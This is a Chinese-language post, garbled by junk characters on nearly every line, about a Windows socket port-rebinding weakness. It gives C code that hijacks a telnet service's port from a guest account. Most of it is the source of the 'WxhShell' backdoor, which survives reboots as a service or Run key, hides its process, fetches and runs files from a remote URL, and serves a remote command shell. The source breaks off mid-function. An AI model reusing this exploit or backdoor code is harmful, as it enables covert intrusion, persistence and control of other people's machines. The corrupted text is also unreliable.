在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
=F9!)r s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
L5{DWm~@ ")xd 'V saddr.sin_family = AF_INET;
^f?>;,<& FbU98n+z saddr.sin_addr.s_addr = htonl(INADDR_ANY);
e{RhMjX<D W+5<=jXFB bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
nP5T*-~ }Kt1mmo:` 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
%K/zVYGm& Z!eW_""wp 这意味着什么?意味着可以进行如下的攻击:
tQYkH$e`/{ a\]glw\; 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
=Ul{#R
z I|eYeJ3 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
m6 V L E/5/5'gBJO 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
VxTrL}{(6 z-g"`w:Lj 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
8?z7!k] Eb.k:8?Tn 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
1Vi3/JM@ D\CjR6DE 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
u+_6V "'@>cJ= 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
+B#+' Spm7kw #include
>"?jW@|g #include
>\s8S}p #include
M:/)|fk #include
L[rxs[7~ DWORD WINAPI ClientThread(LPVOID lpParam);
Mep
ct int main()
q!!gn1PT(T {
M9ACaf@ WORD wVersionRequested;
2Q81#i'Cm DWORD ret;
F!*tE&Se+ WSADATA wsaData;
tmVGJ+gz BOOL val;
v3I-i|L<) SOCKADDR_IN saddr;
zg+6<
.Sf SOCKADDR_IN scaddr;
Yk @/+PE int err;
:rzq[J^ SOCKET s;
5'%nLW7;O SOCKET sc;
Nay&cOz int caddsize;
3-6Lbe9H HANDLE mt;
XFmTr@\M DWORD tid;
!U[/P6
+0 wVersionRequested = MAKEWORD( 2, 2 );
nd3n 'b err = WSAStartup( wVersionRequested, &wsaData );
~|kSQ7O^ if ( err != 0 ) {
7Bs:u printf("error!WSAStartup failed!\n");
(Ee5Af,4 return -1;
nA4PY] }
U
rL|r. saddr.sin_family = AF_INET;
LZ-&qh LAjreC<W //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
RIV
+ _}R n5s2\( saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
bg/a5$t
saddr.sin_port = htons(23);
-)E
nr6 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<!G%P4) {
#sHt3z)6I printf("error!socket failed!\n");
$Si|;j$? return -1;
/kH
7I }
e?yrx6 val = TRUE;
/c|X:F!;X# //SO_REUSEADDR选项就是可以实现端口重绑定的
RTQtXv6mD if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
5!jU i9 {
3Q:Hzq G printf("error!setsockopt failed!\n");
{"WfA return -1;
2|}`?bY]i` }
9kby-A4 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
{\p&? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
;&OVV+y //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
rF\L}& Sw 4Gor*{ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
9?38/2kX4 {
:c}"a(| ret=GetLastError();
e754g(|>b printf("error!bind failed!\n");
O]VHX![Y$ return -1;
pz0Q@ n/X }
UB2Ft= listen(s,2);
a%XF"*^v while(1)
6z2W N|78 {
q. s'z} caddsize = sizeof(scaddr);
L&LAh&%{2 //接受连接请求
9YEE.=]T sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Z3qr2/ if(sc!=INVALID_SOCKET)
AQm#a; {
>hv8zHOO: mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
?)V|L~/ if(mt==NULL)
M'5PPBSR {
kK%@cIXS3 printf("Thread Creat Failed!\n");
CAbR+y break;
q5#6PYIq }
tFvXVfml }
PUbfQg CloseHandle(mt);
U%V4@iz~\m }
hn[lhC closesocket(s);
H84Zg/ ^ WSACleanup();
_X)`S"EsJ return 0;
34c+70x7 }
.
ytxe!O DWORD WINAPI ClientThread(LPVOID lpParam)
K)N'~jCG {
9(pF!}1%\ SOCKET ss = (SOCKET)lpParam;
}P\ J?8 SOCKET sc;
c0f8*O4i unsigned char buf[4096];
rk8Cea SOCKADDR_IN saddr;
W'{o`O=GGr long num;
4)Ab]CdD DWORD val;
)'i n}M DWORD ret;
ZO8r8
[ //如果是隐藏端口应用的话,可以在此处加一些判断
'BX
U' //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
iT=h}> saddr.sin_family = AF_INET;
B+4WnR1%T saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
RXw }Tb/D8 saddr.sin_port = htons(23);
&|I{ju_ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`dJ?j[P,p {
Oh;V%G printf("error!socket failed!\n");
THy{r_dx return -1;
3DOc,}nI~@ }
bZ[ay-f6oK val = 100;
$J9/AFzO" if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Pj^O8 {
->rudRQ ret = GetLastError();
d$B+xW return -1;
%0q)PT\ }
4Ul*`/d if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~tZy-1 {
hh8U/dVk* ret = GetLastError();
v-&@c return -1;
F@<^ }
"Tnmn@ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
vRMGNz_P7[ {
Nn{/_QG printf("error!socket connect failed!\n");
xp%LXxj closesocket(sc);
m2v'zJd}g closesocket(ss);
L*zfZ& return -1;
8d[!"lL }
Cig!3 while(1)
S9{&.[O {
6F; |x //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
KvmXRf*z //如果是嗅探内容的话,可以再此处进行内容分析和记录
U.c~l,5%" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
6ANAoWg* num = recv(ss,buf,4096,0);
ZO&F15$P if(num>0)
!~`aEF3 send(sc,buf,num,0);
paZcTC else if(num==0)
`P jS break;
suE#'0K num = recv(sc,buf,4096,0);
sWFw[Y> if(num>0)
@<z#a9 send(ss,buf,num,0);
xV.UM8 else if(num==0)
?7dV:]%~2 break;
>o5eyi }
^w*&7.Z closesocket(ss);
Rf TG
5E) closesocket(sc);
,:pKNWY)Q return 0 ;
J5SOPG }
d=/a{lP\ >x8~?)7z ;aImz*1%t ==========================================================
)NnkoCNeE DEt;$>tl
5 下边附上一个代码,,WXhSHELL
"#]V^Rzxh So]O`RJv ==========================================================
\:>eZl? r<pt_Cd #include "stdafx.h"
q],/%W # 66vkf* #include <stdio.h>
j1K?QH=e#{ #include <string.h>
>=YQxm}GJ #include <windows.h>
i+~H~k}"X #include <winsock2.h>
@T)>akEOt #include <winsvc.h>
YzYj/,?r #include <urlmon.h>
/Y8{? 0pA>w8 mh #pragma comment (lib, "Ws2_32.lib")
B+lnxr0t #pragma comment (lib, "urlmon.lib")
aj}#~v1 [-h=L
Jf# #define MAX_USER 100 // 最大客户端连接数
[-2Tj)P
C #define BUF_SOCK 200 // sock buffer
$o^N_`l #define KEY_BUFF 255 // 输入 buffer
v2 }>/b) #R#|hw #define REBOOT 0 // 重启
9iN}v #define SHUTDOWN 1 // 关机
2o1 RJk9 @pV&{Vp #define DEF_PORT 5000 // 监听端口
;_E][m Rip[ #define REG_LEN 16 // 注册表键长度
_F3=
H]P #define SVC_LEN 80 // NT服务名长度
,S-zY\XB Y 016Xg5 // 从dll定义API
>/7[HhBT typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
%$=}ePD typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
m-'+)lB typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
02q*z>:^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
3`{[T17 cLm{gd4 W // wxhshell配置信息
0b+End#mp struct WSCFG {
;c|G int ws_port; // 监听端口
4n/CSAT1 char ws_passstr[REG_LEN]; // 口令
8[d6 s int ws_autoins; // 安装标记, 1=yes 0=no
:2-!bLo}& char ws_regname[REG_LEN]; // 注册表键名
,e+S7YX char ws_svcname[REG_LEN]; // 服务名
^A$p)`KR char ws_svcdisp[SVC_LEN]; // 服务显示名
J4jL%5t char ws_svcdesc[SVC_LEN]; // 服务描述信息
1VB{dgr char ws_passmsg[SVC_LEN]; // 密码输入提示信息
aKw7m={ int ws_downexe; // 下载执行标记, 1=yes 0=no
_}Ec[c char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
qQe23,x@5 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
@^^,VgW[ E\XD~ };
|1UJKJwX 92g&,Wb // default Wxhshell configuration
kXW$[R struct WSCFG wscfg={DEF_PORT,
W)2ZeH* "xuhuanlingzhe",
nj7\vIR7 1,
jT:kk "Wxhshell",
]`\~(*;[W9 "Wxhshell",
WxS$yUu "WxhShell Service",
N>',[4pJ| "Wrsky Windows CmdShell Service",
$GX9-^og=T "Please Input Your Password: ",
B2)SNhF2Y 1,
?#VkzT "
http://www.wrsky.com/wxhshell.exe",
Fr]B]Hj "Wxhshell.exe"
b_-?ZmV^r };
p"o_0{8 Awlw6?
// 消息定义模块
5db9C}0 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
S3&lkN5 char *msg_ws_prompt="\n\r? for help\n\r#>";
9pq-"?vHY0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
crRYgr char *msg_ws_ext="\n\rExit.";
P~u~`eH* char *msg_ws_end="\n\rQuit.";
)U:W
9% char *msg_ws_boot="\n\rReboot...";
<9aa@c57 char *msg_ws_poff="\n\rShutdown...";
CYN")J8V char *msg_ws_down="\n\rSave to ";
_rfGn,@BH 2qDVAq^@ char *msg_ws_err="\n\rErr!";
w[s}#Q char *msg_ws_ok="\n\rOK!";
lvIdYf$? @1+({u#B char ExeFile[MAX_PATH];
OM#eJ,MH<) int nUser = 0;
S01Bc HANDLE handles[MAX_USER];
'v_VyK*w int OsIsNt;
5hE mXZ% fz`\-"f] SERVICE_STATUS serviceStatus;
LABLT;c SERVICE_STATUS_HANDLE hServiceStatusHandle;
yn KgNi (-esUOB. // 函数声明
]B9Ut&mF; int Install(void);
#mH4\s int Uninstall(void);
Oh/2$72 int DownloadFile(char *sURL, SOCKET wsh);
F@jyTIS^ int Boot(int flag);
Oo8"s+G void HideProc(void);
d(;Qe}ok> int GetOsVer(void);
Wf5ohXm> int Wxhshell(SOCKET wsl);
m7NrS?7 void TalkWithClient(void *cs);
p^?]xD( int CmdShell(SOCKET sock);
jt4c*0z int StartFromService(void);
uI+^8-HZ; int StartWxhshell(LPSTR lpCmdLine);
IjnO2X Qj(|uGqm3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
FAF+ } VOID WINAPI NTServiceHandler( DWORD fdwControl );
QOKE9R#Y _.K<#S // 数据结构和表定义
i2m+s; SERVICE_TABLE_ENTRY DispatchTable[] =
ip2BvN& {
{igVuZ(>en {wscfg.ws_svcname, NTServiceMain},
Evb %<`gd {NULL, NULL}
ewp&QH4 };
S$1dXXT 2j*o[kAE // 自我安装
!;COFR int Install(void)
z.] {
aW7)}"j4 char svExeFile[MAX_PATH];
O`Ge|4 HKEY key;
KImazS^ strcpy(svExeFile,ExeFile);
zua=E2 jY ~7- // 如果是win9x系统,修改注册表设为自启动
K*fh`Kz if(!OsIsNt) {
U8icP+Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
o~={M7m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
$C~OV@I RegCloseKey(key);
x/xd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;_?RPWZ;MO RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
o+
0"@B RegCloseKey(key);
H?W8_XiN return 0;
hF7#i_UN< }
4/ M~# }
2N[S*#~*e }
<R@w0b> else {
v{*# @G:aW\Z // 如果是NT以上系统,安装为系统服务
N!W2O>VS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
6A*k if (schSCManager!=0)
vILq5iR {
3v7*@(y SC_HANDLE schService = CreateService
[SX>b"L (
Hv.nO-c schSCManager,
ecG,[1]; wscfg.ws_svcname,
3F|#nq wscfg.ws_svcdisp,
b$G&i'd SERVICE_ALL_ACCESS,
kPg| o3H SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
s'^"s_j SERVICE_AUTO_START,
Y76U htYH SERVICE_ERROR_NORMAL,
NY9\a[[^[8 svExeFile,
Gtpl5g QH NULL,
i\z ,)xp NULL,
xix:=
a NULL,
]Y@B= 5e/ NULL,
n*vzp?+Y NULL
l~i&r?,]^ );
% C.I2J`_ if (schService!=0)
Qfd4")zhG {
13KfI CloseServiceHandle(schService);
uf<nVdC. CloseServiceHandle(schSCManager);
N)b.$aC strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
2#?qey strcat(svExeFile,wscfg.ws_svcname);
|ZuS"'3_w if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
^i!6q9<{e RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
"~^#{q RegCloseKey(key);
yPhTCr5pK return 0;
U5x&?n< }
cop \o4ia }
/R%
Xkb CloseServiceHandle(schSCManager);
u?+i5=N9{ }
5$.e5y<&( }
i$:QOMA M
h5>@-fEE return 1;
A9L
{c!|- }
ofIw7D*h RNB ha& // 自我卸载
C!Oz'~l int Uninstall(void)
.PJCBTe {
LIZsDTU HKEY key;
j`A 3N7; -"Hy%wE if(!OsIsNt) {
~v+A6N:qC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
NwPC9!* RegDeleteValue(key,wscfg.ws_regname);
smTPca)7s RegCloseKey(key);
hxQx$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
JXA!l?% RegDeleteValue(key,wscfg.ws_regname);
zUCtH* RegCloseKey(key);
c^s%t:)K return 0;
Wz]ny3K[. }
896oz> }
N(@B3%H2/J }
u>W:SM else {
|E#+X C}>Pn{wY9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
P>s3Rh3: if (schSCManager!=0)
F vt5vQ {
;+-M+9"?O SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
y2:~_MD if (schService!=0)
"{F e {
Oj~4uT&" if(DeleteService(schService)!=0) {
MhXJ /bup CloseServiceHandle(schService);
>azTAX6L3 CloseServiceHandle(schSCManager);
8Z:T.Gc return 0;
'ZboLoS*- }
w%L::Z4 CloseServiceHandle(schService);
x%d\}%] }
XFv) ]_G CloseServiceHandle(schSCManager);
s}5,<|DL }
e0; KmQjG }
SZ'2/#R> [@LA<Z_ return 1;
N=[# "4I }
}2nmfm! mOQN$d [ // 从指定url下载文件
e[)oT int DownloadFile(char *sURL, SOCKET wsh)
yRF
%SWO {
{InD/l'v6n HRESULT hr;
?@uyqi~:U char seps[]= "/";
C0> Z<z char *token;
'l7ey3B% char *file;
4gkaCk{] char myURL[MAX_PATH];
U.,_zEbx, char myFILE[MAX_PATH];
6<
T@\E y/(60H,{{ strcpy(myURL,sURL);
;VI/iwg token=strtok(myURL,seps);
mufJ@Y S# while(token!=NULL)
u{ +z?N {
7I0[Ii file=token;
Z>t,B%v token=strtok(NULL,seps);
)EhRqX9 }
@j/|U04_Z .Fe_Z)i>h GetCurrentDirectory(MAX_PATH,myFILE);
:3aZ_ strcat(myFILE, "\\");
aI'MVKwMk strcat(myFILE, file);
TyG;BF|rwk send(wsh,myFILE,strlen(myFILE),0);
UcI;(Va send(wsh,"...",3,0);
b|'{f? hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
f+xhS,iDR if(hr==S_OK)
T4lE-g2%M return 0;
<T|?`;K else
W#@Mx return 1;
V9dJNt'Ui 41Nm+$m }
zD z"Dn9 ;?K>dWf3f // 系统电源模块
}S,KUH. int Boot(int flag)
2QN ~E {
"1iLfQ HANDLE hToken;
zZ*\v TOKEN_PRIVILEGES tkp;
^0fe:ac; WH6Bs=G\} if(OsIsNt) {
bAVlL&^@| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
b Y^K)0+^s LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
(G<fvl!~ tkp.PrivilegeCount = 1;
2C59fXfd tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
vkgAI< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
q0y#Y if(flag==REBOOT) {
Fk*C8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
cq#=Vb return 0;
&]_2tN=S$ }
lv=rL else {
OKO+(>AQ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
|K,[[D<R return 0;
.s8u?1b }
&o]ic(74c? }
&s>E~M0+J else {
?Tr\r1s] if(flag==REBOOT) {
}VDJ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
5xIOi(3`Q return 0;
'Xb?vOU }
N}rc3d# else {
XKQ\Ts2<k if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
P'<D0 return 0;
31)eDs }
_>=QZ`!r }
'U/X<LCl 'irHpN6n return 1;
=f\BAi }
EWNm }C9 :|PI_
$4H // win9x进程隐藏模块
.wvgHi void HideProc(void)
$z[r(a^a {
kX8Ey L+N;mI8 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
5`QN<4?% if ( hKernel != NULL )
dc=~EG-_rM {
>tQ$V<YB pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
og)f?4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
U3OXO1 FreeLibrary(hKernel);
L[aA4` }
E~K5n2CI f C_H0h3 return;
H5X.CcI&} }
r
t\eze_5A "IuPg=|# // 获取操作系统版本
8d|#W int GetOsVer(void)
+txHj(Y` {
U%u%_{- OSVERSIONINFO winfo;
Fsi;[be$A winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
D wtvtglqV GetVersionEx(&winfo);
q2}6lf,J
K if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
[Zj6v a return 1;
^nGKuW7\ else
-*AUCns# return 0;
}F=lG -x }
.h=H?Hr(V] m#a1N // 客户端句柄模块
<4,LTB]9- int Wxhshell(SOCKET wsl)
g7@.Fa.u'! {
2{oU5e SOCKET wsh;
"^&Te%x_b struct sockaddr_in client;
f*E#E=j DWORD myID;
gt|:K)[,6 q)QM+4 while(nUser<MAX_USER)
RM6*c
. {
]3&BLq int nSize=sizeof(client);
/P
koqA, wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
fj:q_P67o if(wsh==INVALID_SOCKET) return 1;
D\-D~G]x )7;E,m<:tO handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
u81@vEK:_ if(handles[nUser]==0)
ka?EXF: closesocket(wsh);
u.9syr else
Qf.]Mw?Bm nUser++;
3#Qek2 }
p|RFpn2ygF WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
6X[Mn2wYW rGUu K0L& return 0;
pZV=Co3!I }
MYMg/>f[ ,]H2F']4Z // 关闭 socket
:V
ZXI#([ void CloseIt(SOCKET wsh)
Z,JoxK2"
{
E9~}%& closesocket(wsh);
h;JO"J@H nUser--;
H%G|8,4 ExitThread(0);
-4LckY=]1 }
" gQJeMU :@]%n~x // 客户端请求句柄
45U!\mG void TalkWithClient(void *cs)
2e|m3 {
X3Yi|dyn T 'wd&O03& SOCKET wsh=(SOCKET)cs;
~Hb2-V char pwd[SVC_LEN];
kmu r={IR char cmd[KEY_BUFF];
@;`d\lQ char chr[1];
"U o~fJ int i,j;
2!Sl!x+i\'
Y"UB\_= while (nUser < MAX_USER) {
u=f}t=3 K(75)/ if(wscfg.ws_passstr) {
|$G|M=*LN if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=l+~}/7'Z //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
D0VbD" y //ZeroMemory(pwd,KEY_BUFF);
6`V~cVu i=0;
d$#DXLA\P while(i<SVC_LEN) {
YF68Ax] SK t&BnW // 设置超时
vNSeNS@jxC fd_set FdRead;
Ee097A?1vj struct timeval TimeOut;
Ck>{7Gw FD_ZERO(&FdRead);
|?<^4U8 FD_SET(wsh,&FdRead);
f`bRg8v TimeOut.tv_sec=8;
y1_z(L;I TimeOut.tv_usec=0;
v&r\Z @% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
~fY\; if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
'j'G4P_G -n~%v0D8c if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
[iUy_ C=qp pwd
=chr[0]; 7QM1E(cMg
if(chr[0]==0xd || chr[0]==0xa) { z2IKd'Wy
pwd=0; BI :O?!:9)
break;
?cKe~Q?3
} m,^UD{
i++; =cWg39$(I
} E@CK.-N|
EPd
// 如果是非法用户,关闭 socket J?_-Dg(=
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mIah[~G
} cxpG6c
-s&7zqW
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -h%1rw
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4gh`
>
x9 i^_3Z
while(1) { TxvvCV^
>B$J
ZeroMemory(cmd,KEY_BUFF); $5N\sdyZxg
s}g3*_"
// 自动支持客户端 telnet标准 tf4clzSTa
j=0; ]:}x 4O#
while(j<KEY_BUFF) { O~4Q:#^c
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *yqke<o9)
cmd[j]=chr[0]; Wo7`gf_ (
if(chr[0]==0xa || chr[0]==0xd) { 5Mz6/&`
cmd[j]=0; ZYs?65.
break; <8YIQA
} !P@4d G
j++; [Y-3C47
} Z}yd`7
1BOv|xPjZ
// 下载文件 EFzPt?l
if(strstr(cmd,"http://")) { 8)XAdAr
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6ac_AsFK
if(DownloadFile(cmd,wsh)) {ug*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -7(,*1Tk
else d:JP935
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6!Uk c'r
} ()(^B}VK
else { o(eh.
EnP>
switch(cmd[0]) { q]#j,}cN9
LX{mr{
// 帮助 uxbLoE
case '?': { 9=.7[-6i9
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }.r)
break; dfWtLY
} UY^TTRrH
// 安装 ;"JgNad
case 'i': { 'c#AGi9
if(Install()) k%?qN,Cl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (kL(:P/
else rAh|r}R
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,*Wp$
break; 7}puj%JS
/
} tu6<>
// 卸载 <6.?:Jj
case 'r': { 4P}d/w?'KL
if(Uninstall()) y/;DA=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R#4f_9e<Z
else Mw|lEctN0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hp$1c
break; p
Cgm!t?/
} ZDx1v_xr
// 显示 wxhshell 所在路径 g5lK&-yu]
case 'p': { 2)9XTY6$
char svExeFile[MAX_PATH]; =4
NKXP~C
strcpy(svExeFile,"\n\r"); $J =`fx
strcat(svExeFile,ExeFile); {=6CL'_
send(wsh,svExeFile,strlen(svExeFile),0); Qq3>Xv <
break; fU|4^p)
} -FQc_k?VF
// 重启 iHeu<3O
case 'b': { :;K Q]<
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wQ?Z y;/S
if(Boot(REBOOT)) gUH|?@f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }fL
] }&
else { H
$mZ?
closesocket(wsh); bK k7w#y
ExitThread(0); iz3Hoj
} uLr-!T
break; lm|s%
} m'WGK`WIm
// 关机 BFZ\\rN`
case 'd': { |}Mt hj9n
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^+x ,211f
if(Boot(SHUTDOWN)) ]-jaIvM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5?*Iaw
else { B/dJj#
closesocket(wsh); 9qm'qx
ExitThread(0); "rHPcp"m
} $ZlzS`XF7
break; ?N]G;%3/
} W/.Wp|C}K3
// 获取shell 2/ejU,S
case 's': { y=zs6HaS
CmdShell(wsh); "qoJIwl#q
closesocket(wsh); <`Qbb=*
ExitThread(0); B$MHn?
break; UaBNoD
} 8i
Ew;I_
// 退出 f('##pND@
case 'x': { BO0Y#fs
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K0Lc~n/
CloseIt(wsh); (dP9`Na]
break; 2XyC;RWJ%
} DI[
// 离开 Ymm*p,`
case 'q': { _ygdv\^Tet
send(wsh,msg_ws_end,strlen(msg_ws_end),0); DTl&V|h$
closesocket(wsh); .J?RaH{i
WSACleanup(); ik5"9b-\<
exit(1); I5E+=.T*ar
break; x\pygzQ/
} :=\`P
} d?><+!a
} '![VA8
G0(A~Q"
// 提示信息 e}ivvs2
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uTrQ<|}#
} H[N~)3x
} cFHSMRB|P
:3D[~-/S
return; cd] X5)$h
} V o%GO9b;
= Q"(9[Az
// shell模块句柄 O^IS:\JX&
int CmdShell(SOCKET sock) j.:f=`xf
{ 64D4*GQ
STARTUPINFO si;
pp()Hu3J
ZeroMemory(&si,sizeof(si)); 6>b'g
~I
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u zL|yxt
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zLg_0r*h1
PROCESS_INFORMATION ProcessInfo; ,irc=0M(
char cmdline[]="cmd"; lM.k*`$
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Kir|in)r0
return 0; :@S=0|:j
} 02C;
A+VzpJ~
// 自身启动模式 ^+Njz{rpG
int StartFromService(void) (, $Lp0mB7
{ n +dRAIqB
typedef struct
5"w%
{ xLw[
aYy4
DWORD ExitStatus; eNrwkV^
DWORD PebBaseAddress; c+jnQM'
DWORD AffinityMask; ZWx4/G
DWORD BasePriority; @}{Fw;,(7n
